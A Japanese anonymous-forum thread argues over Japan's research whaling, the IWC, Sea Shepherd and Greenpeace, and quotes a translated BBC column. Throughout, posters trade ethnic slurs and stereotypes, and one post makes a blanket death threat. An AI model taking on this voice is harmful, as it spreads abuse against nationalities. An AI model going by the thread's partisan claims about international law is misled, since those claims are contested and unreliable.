「われわれ以外のアジア人はわれわれよりも劣っている。すべての白人は傲慢な人種差別主義者である。われわれだけがこの世界で正しいのだ」
自分以外のものに対する憎悪のかたまり。

ttp://d.hatena.ne.jp/ifeelgroovy/20080307/p1

>>553
＞このひとにとっては、この抗議行動はマイナスになる可能性こそあれ
＞ キャリア上よいことはなにもなかったはずです）
憶測で論拠を語るなアホ

＞ふつうのオーストラリア人はなんともおもわん。
つーかおまえ論拠も示さずに
なに勝手に断定しちゃってんの。

＞日本の「反ガイジン」のひとは、
そんな奴ここにはいねーよ馬鹿が
外人だからなんでも憎む奴なんざみたことないね。

つーか、そんな低レベルなブログ貼り付けてんじゃねーよクズが

>>553
ネット右翼に何言ってもだめだよ。
彼等は自分が何やってるかも分かってないのだから。
世界がといっても、穴の中からは何も見えない。だから、
何も怖くないんだよ。仲間内で慰めあって褒めあっている。
その微温湯に浸るのが彼等の最高の楽しみなんだよ。

>>555
まあ、そういうレッテル貼りしてれば、
論破されることもないし、自分が傷つくこともない
あいつは「朝鮮人」だから、「中国人」だから、と決めつける
ネット右翼となにが違うんだ？

嘘つきは嘘つき。

>>556
図星だったんだね。
嘘つきが説教たれているのって、
気持ち悪いね。

嘘つきは嘘つき。

寂しい連投馬鹿の春休みw

>>553
このブログおもしろいw
まあブッ飛んだとこもあるけどその洞察力は日本人以上に日本を理解しようと
し過ぎているのかも。

>>560
xeGbf86+0とか惨め過ぎて笑いがこみあげてくるｗ

＞有志をつのって船を借りてシーシェパードの船となぜ戦えないか。

戦う必要がないからでね？

ぶっちゃけた話、シーシェパードの活動が調査捕鯨を「実効的」に
妨害できたことって一度もないだろ。
化学剤をバラ撒いたり石を投げたりしたところで、連中が燃料切れで
立ち去った後に、日本の捕鯨船団は悠々とクジラを虐殺（笑）して
日本に帰ってくる。
正直な話、最近の俺は
「シーシェパードは真面目にクジラを保護する気があるのか」
って疑問に思いつつあるんだけどな。

そもそも邪魔だからって沈めてしまえって発想が無かったわ

某国の機関はＳＳの船を沈めちゃったんだよね。
その時は世界が喝采した。

A Secret Documentary of the Taiji Dolphin Slaughter has Been Shot
http://www.japanprobe.com/?p=4193#comments
日本のイルカ漁を叩く偽善者レイシスト糞外人

＞＞５５５
に対する反論を一瞥。
やはり、その主張が正しかったことが実証される。それは

ネット右翼に何言ってもだめだよ。
彼等は自分が何やってるかも分かってないのだから。
世界がといっても、穴の中からは何も見えない。だから、
何も怖くないんだよ。仲間内で慰めあって褒めあっている。
その微温湯に浸るのが彼等の最高の楽しみなんだよ。

これで、５５５と５６７獲得ｗｗｗ

なるほど、これが巷に散見される「反体制ママゴト」の限界かw

>>553
>政治とか社会とかマジメなムズカシイお話は今度から、
>url略
>の方だけでします

真面目なのを期待したが、内容は・・・
日本の官僚制度は腐敗してる
美味しんぼwの、"白人"が人種差別目的で捕鯨を非難してるという描写の引用

捕鯨に関する直接的な言及はこれだけか
It seems that the Japanese have trapped themselves in their own dishonesty
in the name of “whaling research.” They should have argued with IWC countries
using logic rather than lies even if they had the difficulty to persuade them
like the Norwegians. Probably the best strategy would have been to stop deep sea
whaling completely when the anti-whaling countries came up with the proposal of
coastal whaling. Japanese didn’t go for that. They should have declared
“we reserve the right to catch whales. We are doing nothing wrong.”
ロンドンの会合での提案は内々に議論されたという段階にすぎない

Let me tell you where I stand on this issue. I don’t like to see people whaling.
I can probably make up some elaborate logic to back up my statement, but in the
reasoning behind it all, there is none. I simply like to see whales and dolphins
jumping in the sea, making beautiful splashes. Sometimes they just swim along side
boats for the fun of it. Killing whales and dolphins is like killing friends.

Trying to understand the differences is so hard. We just don’t want to see our other
kind of friends being killed for nothing.
鯨と海豚はお友達ｗ
正直なのはありがたいが、ほんと感情だけだな

こんなところで真剣にやってられるか、ってもんだよ。全くｗｗ

ちゃかしてやれよｗｗ

真剣にやってもたかが知れてるから「右翼認定」に逃げ込んでるでしょうにw

このスレで作られる動画が何ら脅威でなかったら必死な連投はしなくて済むのにね？

>>553
>有志をつのって船を借りてシーシェパードの船となぜ戦えないか。
>海戦をすればよいではないか。シーシェパードの船なぞ、日本人有志の船に撃沈されても、ふつうのオーストラリア人はなんともおもわん。

日本のマスコミや世論が支持するならその手も使えるのかもしれないですけどね、
マスコミはもちろん世論もそれを支持しないのは考えるまでもなく明らかですから
相手のネガティブキャンペーンに利用されるだけで四面楚歌に陥るのが関の山でしょう
(威嚇を撃たれたと捏造する集団ですから、これほどオイシイネタを利用しないわけがない)
負けるのがわかりきってる戦いに挑むのは勇気ではなくて無謀でありただのバカです

選挙の結果があの大臣だからな
豪州は

ＳＳ、カナダでは散々な目にあったな。
ま、されが普通ね。オージーが異常なだけ。

カナダの件と、諸々まとめて動画を作るとしたらどんな内容がいいと思う？
結論としては、SSやGPに善良なオーストラア人は騙されている的なものがいいかな

くそったれ、捕鯨は動物に対する倫理違反だ。くそやろう。全員ぶっ殺すぞ。こらっ？

お前達がいかに国民全体の害になっているか
考えたこともない捕鯨の連中。

お前達がいかに国民全体の害になっているか
考えたこともない反捕鯨の連中。

やはり反捕鯨派は発想が野蛮だね
どーしてすぐ戦争したがるんだろうか。
なぜ戦争する自分を肯定化したがるんだろうか。
なぜ敵がいなくんれば世界平和が実現されるとか思っちゃうんだろうか。
どこの宗教よ

俺反捕鯨じゃないよ。
お前らが嫌いなだけ。

>>579
どういう害になってるのか具体的に言ってくれないと話にならないじゃん

>なぜ敵がいなくんれば世界平和が実現されるとか思っちゃうんだろうか。

↑　　↑
無茶苦茶やね。

論理も文法も。

豪州に叩かれている。日本を欧米の、世界の反捕鯨の人々の標的にした。

さて、５８５確保ｗｗ

>>585
まさかそれだけ？

ID:Ju9Ma4Kj0
ただのかまってチャン

本当に馬鹿だよね反捕鯨派って。
IWC科学委員会の連中以外の奴らは、
どいつもこいつもこの程度の奴らばっか

ID:Ju9Ma4Kj0
こいつ以前このスレで屁理屈ばっかこねて暴れた自称法律関係の仕事してるエリートじゃね？
不倫と捕鯨を同列に語ったり、ミジンコ食えとか言って笑わせてくれた奴

いい感じに荒らされてるねｗ
おかしい奴が出てきたら素早くあぼんしてあんまり触らないほうがいいよ
不毛な言い争いを続けて職人のやる気をそぐのが目的だから

Ju9Ma4Kj0は自分で起ってないんだな

>>577
>SSやGPに善良なオーストラア人は騙されている的なものがいいかな

それはどうかなぁ?
確信的なやつの場合は、ジャップこそ鯨研と政府と利権団体に騙されてるだけと
返すだけだろうし、それほどでもないやつでも何しろオージーだぜ、差別意識ばりばりの。
そういう「目を覚ませ」系って、上からか少なくとも対等と写ってる相手から
言われるんでないとね。

SSやGPと絡めるんだったら、やっぱその無法ぶりと、カナダでも表したような
教義に賛同する者としない者への差別意識等をネタに、それへの協力ぶりを
非難するという、まあありきたりかもしれないけど、これが常道かと。
お前達こそが下郎の仲間とされる方が、心に引っかかりますからね。

これに対して奴らの逃げ道は、これまでのところ大別して二つ。

・なんか関係ありそうな国際条約や憲章のタイトルだけ持ち出して、
　日本が違法なことをしている、我々をそれを正そうとしているだけと言う。
・暴力肯定とかそんなんじゃないんだ、俺達の心優しき友を救いたいだけなんだ。

てなところなんで、この辺の逃げ道に追撃する次回作と組で考えると効果的かと
思いますよ。

タスマニアの海、ジャイアントケルプが壊滅的状態。
温暖化の影響だそうだ。沿岸漁民にとっては深刻。
足元を地道に見つめた方が良い。

攻撃するにはやっぱ差別路線がいいと思うね
ただし、日本人を差別してるってのじゃなくて、鯨以外を差別ってので押すのが説得力高い

>>593
ＳＳと同一視して、オージーもろとも叩きまくるか？
それとも、根気よくＳＳを叩いてオージーのＳＳ離れを狙うか？

どっちが得策かな？

シャチに食われる鯨って、どれくらいいるんだろう？

>>596
>ＳＳと同一視して、オージーもろとも叩きまくるか？
>それとも、根気よくＳＳを叩いてオージーのＳＳ離れを狙うか？

その中間…とでも言うのかな?

同一視して「叩きまくる」と、単に「全く同一というわけではない」と言うことができる枝葉末節を
考え出す方に意識が逃げる。

かといって、SSだけ叩き続けるのもオージーからの支援を絶つには、ちょっと迂遠な感がある。

オージーが
・SSやGPのような独善的暴力集団の「シンパであること」
・その根底には、鯨類を特別視する差別思想が見られる
　他の尤もらしい理屈はそこから発している口実に過ぎない
・そういう心根で海賊を英雄視している
というようなものになっていると言える状態であることを、ちくちく突くのが良さげに思える。

これと、「日本は別に違法なことしてないぞ」ということの、論拠付き広報が組になると、
あっちはなかなか言い抜けし難くなると思うよ。
SSとかGPみたいに、もう基地外領域に到達してるようなのを除いて。

豪州たたいて、なんぼになるの？

＞これと、「日本は別に違法なことしてないぞ」ということの、論拠付き広報が組になると

日本の国際法学者で、調査捕鯨を違法じゃないと言ってる人知ってる？
日本政府、水産庁の場合、国際捕鯨取締条約一本だけで違法じゃないと言って
るんだけど、国連海洋法条約で回遊性水産資源の管理を事実上、国際捕鯨
委員会の判断に従うべしとしているので弱点が出てくる。

国際捕鯨取締条約それ自身で拘束力のない勧告決議でも、国連海洋法条約で
これを権威ある法解釈と認定すると、海洋法条約上の拘束力が出てくるという
論理だ。（ある条約上の証拠自体には法拘束力はないが、この証拠が別の
条約に照らされると、その別の条約上の違法行為の根拠として採用される
という論理だ。）

訂正
＞国連海洋法条約で回遊性水産資源の管理を事実上、国際捕鯨
＞委員会の判断に従うべしとしているので弱点が出てくる。

＞＞国連海洋法条約で回遊性水産資源の管理を事実上、国際捕鯨
＞＞委員会等国際的協議機関の判断に従うべしとしているので弱点が出てくる。

むりっぽw

高度回遊性のどうとかって、例の64条ですか?

Article64
Highly migratory species

1. The coastal State and other States whose nationals fish in the region for
the highly migratory species listed in Annex I shall cooperate directly or
through appropriate international organizations with a view to ensuring conservation and
promoting the objective of optimum utilization of such species throughout the region,(後略)

cooperate ですからねぇ、「従うべし」ってのは嘘ですね。
日本はもちろんIWCに協力しており、そしてもちろん資源保全の観点を無視しているとも言えない。

IWCの勧告決議との合わせ技でも「違法だ」と言い切るの苦しいですね。

＞cooperate ですからねぇ、「従うべし」ってのは嘘ですね。

勧告決議を、拘束力がないからと無視したら、協調義務に反することになりますね。

＞日本はもちろんIWCに協力しており、そしてもちろん資源保全の観点を無視しているとも言えない。
＞IWCの勧告決議との合わせ技でも「違法だ」と言い切るの苦しいですね。

そういうことを主張している国際法学者はいるのですか？

協力/協賛/協調が何を意味し、している/していないの境目は? というのはもう
主観の世界の世界に足を踏み入れますね。IWCの活動の内一種の決議だけを重視
する人には「明白だ」かもしれませんけど。

それと、国際法の世界では違反/違法を指摘/立証する必要があるのか、それとも
適法を立証する必要があるのか。
法の原則では明らかですが、ま、情勢と力関係で時には曖昧になったりするのかね?

素人裁判官のあなた以外で、海洋法条約とIWCとのリンクでもって違法と断じてる
のを出してみてくれる? きっと用意してるだろうからぱっと出てくるよね。

それと、「従うべし」なんて嘘をしゃあしゃあと吐いたのは何故ですか。

写真なし。嘘つき。
それは誰ですか？

地球のあの地域では、犬も猫も食されているようだね。

ああ、日本人もね。彼等は鯨肉を食らう民族だ。

気持ち悪いね。残酷だね。

野蛮なんだよ。

こないだまでハラキリを美徳だと考えていた人々だものね。

それに、カミカゼだろう。

アラブのテロリストの教師だよ。赤軍がいたんだ。

ほとんど、自爆だったね。総括とか。

日本の捕鯨を推進している人たちも自滅に向かうだろうね。

彼らだけの鯨じゃないからね。

いつも、日本の後追いしている中国やインドが鯨肉を漁りだしたら。どうなるか。

ぞっとするね。

うん、調査捕鯨の欺瞞もあるが、写真の嘘もあるが、一番のだましは、
欧米の反捕鯨の行動派についての嘘の報道だね。

日本の役人の犬は、欧米の長い、勇気ある市民運動のことを何も知らないのかも。

日本には、自律した市民が少ないからね。

誰を見てもひも付きだと思ってしまうのだろう。

一人居て。神と対話する。絶対不正をしない。不正と戦う。
恥じるのは神に対してだけというミッションの重い役割なんて誰も理解しないだろうね。

KYの付和雷同の考えなしの人たちだもの。

なんか痛いポエマーが出てきたな

>>600
それとまったく同じ論理でオーストラリアは違法行為を犯しているわけだが

>>608
その神の正しさは、一体誰が保証してくれるのかね？

>>611
正しきものを神と定めているから。

違うだろ。お前が崇拝しているのは正義ではなく欧米諸国そのもの。
そして、国家ではなく市民に対する絶対的信頼だ。

でも、そこには落とし穴があるんだなぁ。

※リンク先を参考に2ちゃんねる記者が翻訳しました。文責は2ちゃんねる記者に有ります。
★Understanding Japan's whale ethics
http://blog.goo.ne.jp/kitaryunosuke/e/ecf31ada15c339f0fd555fa983af80ff
今まで内緒にしてたことをお話したいと思います。

私はミンククジラを食べたことがある。
生で食べたことがある…皮を小さな正方形にしたのや、醤油と辛いわさびを添えた新鮮な刺身とか。
それから火を通したのも食べたことがある…甘酸っぱいソースで野菜と一緒に炒めたのとか。

読者の中には怒る人もいるかもね…クジラ肉を食べたなんて、と軽蔑して。

そう、それが今まで絶対言わなかった理由の一つだ。こんな告白には危険が付きまとうわけだ。
これは私が日本人の観点からこの話を理解しようと2年近く頑張った挙句「ネイティブになっちゃった」
証拠なんだろうか？

いや、違う…その時には、クジラを食う以外にない、と感じたからというのが真実だ。

■じゃあ、子羊は良いのかよ？
私は東京の小料理屋にいた。店主はコウノ・ミチオ。この道30年の小柄な男性だ。

我々が店に入った時は結構静かだったが、私が捕鯨の是非について彼に語り始めると、
このチビ・コックは爆発した。

さて、私は殆ど日本語を話さない。同僚が通訳を務めてくれたが、別に日本語が流暢じゃなくても、
日本人に捕鯨を止めさせようとする連中に対する、コウノ氏の怒りとフラストレーションのほどは
理解出来た。

彼は怒鳴り散らして怒り狂った…延々と。要点を強調する時は伸ばした手で空気をぶんぶん
チョップしながら。

「じゃあ、子羊は良いのかよ？」と彼。
「あんたたちは子羊を食べる。我々は子羊は可愛いと思うが、あんたたちに食べるのを止めさせようとは
しないよ」。

一端インタビューが終わると、彼は私にクジラを食べろと言い張った。
私の日本人の同僚は「いやだ」という選択肢はない、と視線で告げていた。

ぶっちゃけ、興味はあった。生のクジラを噛んだ。美味くもなかったが、別に不味くもなかった。
クジラ炒めの方がましだったが、また直ぐにもう一度食べたいようなもんでもなかった…別に倫理的な
反感のせいじゃなくて、甘酸っぱいソースでごまかされただけ、って感じの強烈な臭いのせいだ。

捕鯨を支持する日本人は、欧米人ジャーナリスト全員が攻撃してくると考えている。それは、より広い
世界に自分達の意見を伝えるチャンスを得ようとするなら、問題の印象を打ち破るために出来る限りの
ことをしなければならない、ということだ。

コウノ氏のクジラを食べることが、彼をなだめたのは明らかだった。多分、私が彼をはめようとして
なかったからだな。

>>2に続く

>>1の続き

■外交的な損害
日本の捕鯨業界というのは、大騒ぎしたり、「我々が何を食べて何を食べちゃいけないか、
なんて他国に命令する権利はない」とこれを主権問題だと煽り立てるのが大好きな、
エスタブリッシュメントの一部、非常に少数の日本人が後援している。

この活動家達には、政界とマスコミに強力なお友達がいるのだ。
捕鯨の是非を巡る議論は、日本の新聞では殆ど報道されていない。

環境活動家2人が日本の捕鯨船に乗り込んだことは確かに速報になったが、この2人の男性を
環境テロリストとレッテル付けることを、多くの日本人記者達は決め込んでいた。

それに、私が知る限り、捕鯨を保護することは、これが日本の海外での評判につける傷に値するのか
どうか、立ち上がって疑問を呈する根性のある政治家は、一人もいない。

BBCなどで捕鯨の弁護を求められている外務省の不運なお役人達はよく、カメラが止められて
マイクが外された瞬間に、これについては自分達は熱心じゃないのだ、とこっそり告白する。

彼等のフラストレーションは、殆ど必ずと言っていいほど酷い質問を浴びせかけ、多くの人にとって
擁護のしようがないものを弁護しろと要求する、インタビューをする人には向けられていない。

フラストレーションの行き先は仲間の水産庁の役人だ。
彼等が外務省に面倒を生じているのだ…いつまでもいつまでも世界中で日本の評判を叩き落している
捕鯨業界を応援して…。

■口喧嘩
今後数ヶ月間、外交官も事態は悪化するだけだろうとわかりそうだ。

先日、私にランチで（魚だったけど今回はクジラじゃないよ）、改革されないのならIWCから脱退する、
という日本の脅しは真剣だ、と水産庁の某高官に聞かされた。

日本人は捕鯨推進国と反捕鯨推進国の諍いに飽き飽きしている。
IWCを内側から改革しようと、彼らは出来る限りのことをする、と彼は私に語った。が、それが
うまくいかなければ、多分数ヶ月以内に、当局は新機関設立を開始するだろう。商業捕鯨復活を
求める、捕鯨に賛成する国用の分離グループだ。

南極沖で環境活動家が日本の捕鯨船に乗り込んだのは、ただの小競り合いだ。
ここで、あそこで、陸上で、そして海上で繰り広げられる捕鯨を巡る口喧嘩は、悪くなる一方のようだ。

原文ソース
http://news.bbc.co.uk/2/hi/programmes/from_our_own_correspondent/7201804.stm

リンク忘れた〜
【コラム】日本の捕鯨倫理を理解する事 −BBC [2/8]
http://news24.2ch.net/test/read.cgi/news5plus/1202451666/

騒ぎが好きなのは反捕鯨の側だろう。

反対派が騒げば騒ぐほどクジラ教が背景にあるのがあからさまになってくるw

チベットで人が死んでる時に鯨が死んで、だからどうなの？って感じ。

連投馬鹿が今日はポエムに切り替えたのかw

＞いつも、日本の後追いしている中国やインドが鯨肉を漁りだしたら。どうなるか。

いや、そのためのＩＷＣだから、ＩＷＣは資源管理の団体。
ノルウェーが脱退せざるを得ない状況まで追い込まれた、今のＩＷＣは機能不全状態

日本関係なく、インド・中国が新団体を立ち上げてバンバン鯨捕り始めたらどうすんだ？

中国が捕鯨始めるて言い出せば、オージーは認めそうだな。

>>619
日本の捕鯨は汚い捕鯨
中国の捕鯨は”綺麗”な捕鯨

って思って総

>>608みたいなあからさまな煽りに反応するなよ

64 名無しさん＠八周年 sage New! 2008/04/09(水) 12:28:36 ID:gaiSPkxS0
　海外の掲示板では、チベット弾圧非難のスレッドに
なぜか南京虐殺や慰安婦のコピペが大量に投下されてる
だいたいは「それが何の関係あんの？」というレスがついてるが
それでも人権意識が高い連中が集まってるだけあって
少なく無くない掲示板が反日掲示板になっている・・

一方、国連人権委員会ではチベット問題の取り上げは却下され
日本軍慰安婦問題がいま最重要の人権問題として
本会議での非難勧告の審議が始まっている・・

http://academy6.2ch.net/test/read.cgi/sociology/1207698755/1-100
こっちもよろしく、低知能捕鯨賛成派さんよ。

　　　　　　　　＿＿＿
　　　　　　 ／　平和を＼
　　　　　　 |＿_守る会＿|__
　　　　　　　／　　　 　＼
　　　　　 ／　　 ＼ ,　, ／＼
　　　　／　 　 （●）　 （●） ＼
　　 　 |　　 　 　 （__人__）　　　| 　 　憲法九条は世界の宝だ　９条にノーベル賞を　改憲反対！　
　 　 　 ＼　 　 　 ` ⌒ ´　　,／　　　軍隊がなければ戦争は防げる　自衛隊は解散しろ！
.　　　 　 /⌒〜"￣,￣￣〆⌒,ﾆつ 　イラクでの人権侵害を許すな　アメリカ軍はイラクから撤退しろ！
　　　 　 |　　,＿_＿ﾞ＿__､rヾｲｿ⊃
　　　　　| 　 　 　 　 　 　｀l￣
.　　　 　 |　　　　　　　　　 |
　　　　　　　　　　　　　　　　　　　　＿＿＿
　　　　 　　　／￣￣＼ 　　　　　／　平和を＼
　　　　　　／　　　 　　 ＼ 　　　 |＿_守る会＿|__
　　　　　　|:::::: 　 　　 　　｜　　　／　　 　 　＼
　　　　　.　|:::::::::::　　　　　｜　 ／ ⌒　　　⌒　 ＼ 　
　　　　　　 |::::::::::::::　　　　｜／ 　（●）　（●） 　　＼　え？ チベット問題？
　　　　　.　 |::::::::::::::　　　　} |　 　　（__人__）　　　　　|　　内政干渉でしょ。
　　　　　.　 ヽ:::::::::::::: 　　 }　＼　　 ｀ ⌒´ 　　　　_／　 中国の国内問題に首を突っ込んじゃダメです。
　　　　　　　 ヽ::::::::::　　ノ　　　|　　　　　　　　　　 ＼ 　
　　　　　　　　/:::::::::::: く　　　　|　|　　　　　　　　 | 　|
-―――――|:::::::::::::::: ＼-―┴┴―――――┴┴――

グリーンピースの方針はＨＰに
非暴力直接行動・政治的中立・財政的独立
と書かれているが、違法行為をしないとは言っていない。
実に滑稽だ。
その証拠に下記のサイト
ttp://www.greenpeace.or.jp/campaign/oceans/whale/documents/legal
に、
「グリーンピースの活動は、一貫して、非暴力直接行動の規範に基づいている。
非暴力直接行動は、違法行為は絶対に行わないというものではない。
生命と身体への危害を加えない建造物侵入や器物損壊などの違法行為については、
時と場合によって積極的意図的ないし消極的結果的に冒すことを認める立場もある」

認める立場もある
認める立場もある
認める立場もある

こんな犯罪実行宣言をしていて正当な法と民主主義の手続きを踏まず、
法治国家を否定する団体をテロリスト集団といわずして何というのだろうか？

北朝鮮みたいな拉致を亡命と言い訳するような
日本の脱法大量商業（調査）捕鯨を恥かしいと思います。

グリーンピースは一貫してダブルスタンダードだと言うことは判った。

>>605
>協力/協賛/協調が何を意味し、している/していないの境目は? というのはもう
>主観の世界の世界に足を踏み入れますね。IWCの活動の内一種の決議だけを重視
>する人には「明白だ」かもしれませんけど。

国際法の用語法に慣れてらっしゃらないようですね。
協調し、合意を形成してそれに従う、という一連の行動を条文化したら、これが
合法性の枠組みを形成するというのは当然です。
単に主観の世界、とか言い出すと、条約の条文自体が無意味になります。
少なくとも法学的には、条文のそのような解釈は許されていません。

＞それと、国際法の世界では違反/違法を指摘/立証する必要があるのか、それとも
＞適法を立証する必要があるのか。
＞法の原則では明らかですが、ま、情勢と力関係で時には曖昧になったりするのかね?

すでに多数の違法性指摘も論文の形で提出されてますし、国際捕鯨委員会の決議も
国連海洋法条約に言及しています。国家実行としてはオーストラリアの最高裁判決が
あります。

＞素人裁判官のあなた以外で、海洋法条約とIWCとのリンクでもって違法と断じてる
＞のを出してみてくれる? きっと用意してるだろうからぱっと出てくるよね。

上記のそれぞれについて、ご検討ください。ソースは、他人を「素人裁判官」と認定
出来るような実力の方なら、ご自分で探せるはずです。

要するに、あなたは「日本の調査捕鯨が適法である」と、他の多くの違法論に
対して反論する国際法学者の 立論をご存じないということですね？

日本の官房長官、農水相、水産庁の「国際捕鯨取締条約」のみに立脚した立論ですね。
こちらからお伺いしますが、法形式として、国連海洋法条約が国際捕鯨取締条約に
対して、上位法であるという規定はよろしいですか？

そうではないとか言い始められると、議論が無意味になりますから。

＞それと、「従うべし」なんて嘘をしゃあしゃあと吐いたのは何故ですか。

規範法条文の規定内容を「従うべし」と表現して、何の問題もないです。
従うかどうかは主観の問題とか言い始めると、法の条文すべてに意味が無くなります。

オーストラリアは、国際海洋法条約に則り、
いますぐにシーシェパードの寄港許可を取り消し、
活動メンバーを逮捕しなければならない。

でも、彼らはやらないよね。
だって、元豪州閣僚議員がシーシェパードのメンバーとして活動しているような国なんだもの。

朝日新聞は、日本人は鯨肉をもうそんなに食べてないし
食う必要もないじゃないかという方向にもっていきたいみたいだな。
グラフを載せたりして、足を引っ張りたくてウズウズしてる。
誰が書いてるのか、ちゃんと名前を毎回載せて欲しいもんだね。

丸一日以上かかって、結局出せたのは「いっぱいあるんだぞぉ、ぼくちんは一つもソース出せないけど」かよw

＞国家実行としてはオーストラリアの最高裁判決があります。

あのさ、あんた国際法と国内法の違いもわからなんでしょう？
中学の公民からやり直しましょうね。
いいかげん馬鹿が「国際法」とか語らないでくれるかな

このあいだのオーストラリアの「中止命令」笑ったよねw

結局国内のみでの適用だって。
誰が「オーストラリア国内」で調査捕鯨してるんだよw

北朝鮮みたいな拉致を亡命と言い訳するような
日本の脱法大量商業（調査）捕鯨を恥かしいと思います。

捕鯨問題をむりやり人種差別にからめて煽るネットナチもかなり凶悪でハズい。

つか「従うか従わないかは主観」じゃねぇよなぁw
(おっと、「協力するか否か」か条文からすると)
「(俺の見るところ)従ってないじゃないかぁーー」と主観で断じて喚いてる奴がいるだけ。
まさに素人裁判官。

日本の調査捕鯨はIWCの中止勧告を無視する
国際条約違反の違法操業です。

本格的に日本語の読めない馬鹿以外は違法じゃないのが解ってるからおk。

国際捕鯨条例を読めるなら厨房でも違法とわかる単純さです。

違法という定義に異論があるなら
日本捕鯨は国際条約を不履行するテロ国家的行為

>>640-641
＞国際捕鯨条例を読めるなら
＞国際条約を不履行する

何処にそんな事が書いてあるのか教えてほしいですぅw

http://www.mofa.go.jp/mofaj/gaiko/whale/jhoyaku.html

何十回繰り返し自分の馬鹿さを宣伝してんだ、お前？w

国際条約を不履行にするオーストラリアはすでにテロ支援国家ですね

>>642
捕鯨条約第4条

捕鯨委員会は捕鯨の中止勧告をする権限が認められてます、
日本の調査捕鯨は捕鯨委員会により中止勧告が出されてます
中止勧告を無視することは、国際条約を不履行する違法操業です。

自国民に「南極に自国領土がある」と思わせるような「調査捕鯨中止命令
（豪国内でしか通用しない）」を出してるのは南極条約に抵触するかもねw

かんこく【勧告】　意味：勧めること。促す。推奨する。

例：致死調査ではない方の捕鯨をお薦めします。

>>644
中止「勧告」を無視したら、「国際条約を不履行」になるって
何処の基地外が言ってるんですかぁ？w

ふた月以上前から何十回言い聞かされても理解出来ない脳味噌貰っちゃったんだな、
親からw

「勧告」という言葉に法的拘束力があるなら、それは「勧告」とはいわず「命令」というだろうね。
それでもなお「勧告」という言葉に法的拘束力があり、グリンピースが主張しているように
南極まで追いかけていって妨害行為（＝海賊行為）を続けるなら、この場合使用されている「勧告」なる言葉は、
「勧告」という名の脅し、「脅迫」に相当する言葉であると受け取っておくよ＞ID:DNKBRmhZ0

>>644
それから、「勧告を出す事が出来る」という加盟国の権利保障についての
条項は「第六条」だよ。

チベット人の代わりに拷問でも受けてくれば？
お前のようなバカでもちっとは人類貢献できるからw

ちなみに、海賊行為は国連海洋法条約で違法行為に当たると明記されてる。
おっと、グリンピースやシーシェパードによる違法行為は「綺麗な違法」だったね。
捕鯨の様子をカメラに収めて鯨食文化と無縁な国々に出向いて情を集めれば、
組織も潤うという寸法だ。

でもね、その膨大な資金を少しでもヨウスコウカワイルカ救出のために使えたなら
彼らを絶滅から救えたかも知れないと考えると、俺は涙で前が見えないよ。

まあそんな金あっても中国にパクられて終わりだろうけどナ

かん‐こく〔クワン‐〕【勧告】

［名］スルある行動をとるように説きすすめること。「辞職を―する」「人事院―」
http://dic.yahoo.co.jp/dsearch?stype=0&dtype=0&p=%B4%AB%B9%F0

国際条約により　【中止】　【勧告】　されたら終わりだ
無視したら　【国際条約の不履行】

捕鯨問題で国際連合安全保障理事会が召集されたり国際海洋法裁判所が動くか不明だが
【国際条約の不履行】は、条約を履行する加盟国の権利を無視する反国際的行為です。

>>652
ID:uGGHC7a20＝ID:DNKBRmhZ0 わざわざID変えてご苦労様

そう、まさに君の言うとおり、グリンピースではそのように教育されているね。
それ故、グリンピースは世界平和を実現するために南極沿岸まで赴いて、
捕鯨を妨害する社会的使命を背負っているというわけだ。
いや〜実に勇ましいね。君は本当に優秀な生徒さんだと思うよ。馬鹿だけどｗ
おそらく君の頭の悪さが奇異な思想傾向を受け入れているんだろうね。

>>652
＞国際条約により　【中止】　【勧告】　されたら終わりだ
＞無視したら　【国際条約の不履行】

「勧告」に従わなければならない、という「国際条約」が存在してない、
というのがやはり未だ理解出来ないのかw
存在しない「国際条約」をどうやって「不履行」するのか教えてくだちゃいw

君等のお友達が十年以上前から「違法だ」と騒ぎ続けて未だに国際司法機関が
動けないのは「動きようがないから」だよw

グリーンピースの人間に言いたいんだが

最低限、中学・高校生レベルの常識を身に着けてから
市民運動とやらをやって欲しい

>>655
ヒント：オーストラリア

>>654
あんたは、拉致を亡命と言い訳する北朝鮮手法で
調査捕鯨と言い切れば、いかなる捕鯨行為も全て許されると思ってる厨房ですね。
あんたのような痛い捕鯨サポーターばかりでは永遠に商業捕鯨は認められないだろうな。

「勧告」を「命令」レベルのものと勝手に言い張る北朝鮮手法でつか?

日本の独断で好き放題に捕鯨して良いわけ無いよ
何のためにIWCが存在してるの？
IWCから止めろと言われても無視してる日本捕鯨は凶悪。

>>657
法解釈上、「違法」だと言える根拠が存在しないという事を
もう何十回も説明してあげてるのに全く理解出来ずに同様の嘘を書くのは
厨房的じゃないのかなぁ・・・？

いや、北朝鮮的かw

A：地球のあの地域では、犬も猫も食されているようだね。
B：ああ、日本人もね。彼等は鯨肉を食らう民族だ。
A：気持ち悪いね。残酷だね。
B：野蛮なんだよ。
A：こないだまでハラキリを美徳だと考えていた人々だものね。
B：それに、カミカゼだろう。
A：アラブのテロリストの教師だよ。赤軍がいたんだ。
B：ほとんど、自爆だったね。総括とか。
A：日本の捕鯨を推進している人たちも自滅に向かうだろうね。
彼らだけの鯨じゃないからね。
いつも、日本の後追いしている中国やインドが鯨肉を漁りだしたら。どうなるか。
B：ぞっとするね。
A：うん、調査捕鯨の欺瞞もあるが、写真の嘘もあるが、一番のだましは、
欧米の反捕鯨の行動派についての嘘の報道だね。
B：日本の役人の犬は、欧米の長い、勇気ある市民運動のことを何も知らないのかも。
A：日本には、自律した市民が少ないからね。
B：誰を見てもひも付きだと思ってしまうのだろう。
A：一人居て。神と対話する。絶対不正をしない。不正と戦う。
恥じるのは神に対してだけというミッションの重い役割なんて誰も理解しないだろうね。
B：KYの付和雷同の考えなしの人たちだもの。

これ、グリンピースの教材からの抜粋とかだったらかなり笑えるネタなんだがｗ